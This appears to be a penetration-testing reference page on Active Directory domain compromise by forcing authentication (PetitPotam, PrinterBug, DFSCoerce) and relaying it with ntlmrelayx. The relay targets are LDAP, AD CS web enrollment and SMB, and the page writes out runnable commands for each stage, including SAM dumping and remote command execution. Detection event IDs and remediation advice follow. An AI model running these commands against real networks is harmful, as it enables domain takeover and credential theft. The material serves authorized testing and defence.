Coercion Ntlm Relay

Coercion + NTLM Relay

Two techniques that combine into one of the most reliable domain-compromise chains: force a target (usually a Domain Controller's machine account) to authenticate to a host you control, then relay that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication.

The chain only works when a relay target is unprotected:

• Relay to LDAP/LDAPS requires LDAP signing not enforced and channel binding (EPA) absent.
• Relay to SMB requires SMB signing not enforced on the destination.
• Relay to AD CS web enrollment (ESC8) requires the HTTP enrollment endpoint up without EPA.

Check signing posture first:

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nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt        # hosts without SMB signing
nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker   # LDAP signing / channel binding state

Part 1: Coercion

You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's machine account ($) authentication at you.

PetitPotam: MS-EFSR (Encrypting File System Remote)

MITRE ATT&CK: T1187 (Forced Authentication)

Abuses the EFSRPC interface (EfsRpcOpenFileRaw and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones.

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Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-method-name EfsRpc

Classic standalone tool:

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python3 PetitPotam.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

PrinterBug: MS-RPRN (Print System Remote Protocol)

MITRE ATT&CK: T1187

Abuses RpcRemoteFindFirstPrinterChangeNotificationEx via the Spooler service. Works wherever the Print Spooler is running (still common on DCs).

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Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-RPRN

Standalone:

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python3 dementor.py <YOUR_IP> 10.0.0.10 -u user -p 'Password123' -d CORP.LOCAL

DFSCoerce: MS-DFSNM (Distributed File System Namespace Management)

MITRE ATT&CK: T1187

Abuses NetrDfsAddStdRoot/NetrDfsRemoveStdRoot. Useful when EFSR and Spooler are patched/disabled, because DFSNM is harder to turn off on a DC.

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Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \
  -l <YOUR_IP> -t 10.0.0.10 --filter-protocol-name MS-DFSNM

Standalone:

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python3 dfscoerce.py -u user -p 'Password123' -d CORP.LOCAL <YOUR_IP> 10.0.0.10

Coercer sweeps all methods at once if you drop the filters, which is handy to find whatever is not patched.

Part 2: NTLM Relay (impacket ntlmrelayx)

Stand up the relay before you coerce. The coerced authentication lands on ntlmrelayx, which forwards it to your chosen target.

Relay to LDAP: grant RBCD or DCSync-capable rights

MITRE ATT&CK: T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS/relay) / T1187

Relaying a DC's machine account to LDAP lets you write directory objects as that machine. The --delegate-access flow configures RBCD so you can then S4U to the coerced host (Kerberos skill). Requires LDAP signing not enforced and channel binding absent.

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ntlmrelayx.py -t ldaps://10.0.0.10 --delegate-access --no-dump --no-da -smb2support

After the relay writes RBCD, S4U (see Kerberos skill). A relayed DC can also be pushed to grant a controlled principal replication rights (the WriteDACL-on-domain-head path in the ACL skill), which then enables DCSync as a post-compromise step.

Relay to AD CS web enrollment: ESC8

MITRE ATT&CK: T1557.001 / T1187

Relay the coerced DC machine account to the CA's HTTP web-enrollment endpoint and enroll a certificate as that DC. Then PKINIT the cert to a TGT (AD CS skill). Requires the web-enrollment endpoint up without EPA.

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ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

Coerce a DC (PetitPotam) into this relay, take the issued .pfx, then certipy auth -pfx ....

Relay to SMB: remote command / secrets

MITRE ATT&CK: T1557.001

Relay to a member server whose SMB signing is not enforced to dump SAM or run a command as the relayed account.

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ntlmrelayx.py -tf relay_targets.txt -smb2support -c 'whoami'
ntlmrelayx.py -t smb://10.0.0.50 -smb2support --dump-sam

Full chain (order of operations)

1. Confirm an unprotected relay target (--gen-relay-list, LDAP signing/CBT check).
2. Start ntlmrelayx.py pointed at LDAP / AD CS / SMB.
3. Coerce the DC (or other privileged host) to authenticate to your relay IP with Coercer/PetitPotam/PrinterBug/DFSCoerce.
4. Consume the result: RBCD → S4U (Kerberos skill), ESC8 cert → PKINIT (AD CS skill), or SMB action.

Detection (Event IDs)

• 4624 (successful logon) with Logon Type 3 and NTLM authentication package, where the account is a machine account ($) authenticating to a host it has no business reaching (the relay endpoint). Machine-to-machine NTLM to a non-standard destination is the core signal.
• 4662 on the domain object if the relay wrote replication rights; 5136 for the RBCD / DACL / owner writes the relayed session performs (see ACL skill).
• 4886/4887 on the CA for the ESC8 certificate request/issuance.
• 5145 (network share object checked) and Spooler/DFS RPC activity on the coerced host around the coercion call.
• Defender for Identity raises alerts for suspected NTLM relay and for the coercion RPC patterns.

Remediation to write up

• Enforce SMB signing (require, not just enable) on all hosts, DCs included. This alone breaks SMB relay.
• Enforce LDAP signing and enable LDAP channel binding (EPA) on Domain Controllers. This breaks the LDAP relay path (Microsoft's hardening, e.g. the LDAP channel-binding/signing enforcement updates).
• Enable EPA and require HTTPS on AD CS web enrollment; disable HTTP; disable web enrollment if unused. This closes ESC8.
• Restrict/patch the coercion surface: apply the PetitPotam patch, disable the Print Spooler on DCs and servers that do not print, and apply DFSCoerce mitigations. Coercion methods are many, so relay-target hardening (signing/EPA) is the durable fix.
• RestrictReceivingNTLMTraffic / RestrictSendingNTLMTraffic GPOs to constrain NTLM, and ultimately move toward disabling NTLM where feasible.
• Put Tier-0 accounts in Protected Users so their NTLM cannot be relayed.
• Alert on machine-account NTLM logons to unexpected hosts (4624 type 3 NTLM from $ accounts).

Only run coercion and relay against systems you are explicitly authorized to test. Coercion generates real authentication traffic and can disrupt services. Use lab/generic IPs, hostnames and CA names in write-ups.

Reference

• MS-RPRN / MS-EFSR / MS-DFSNM coercion: https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/
• NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
• ESC8 (relay to AD CS web enrollment): https://www.thehacker.recipes/ad/movement/adcs/web-endpoints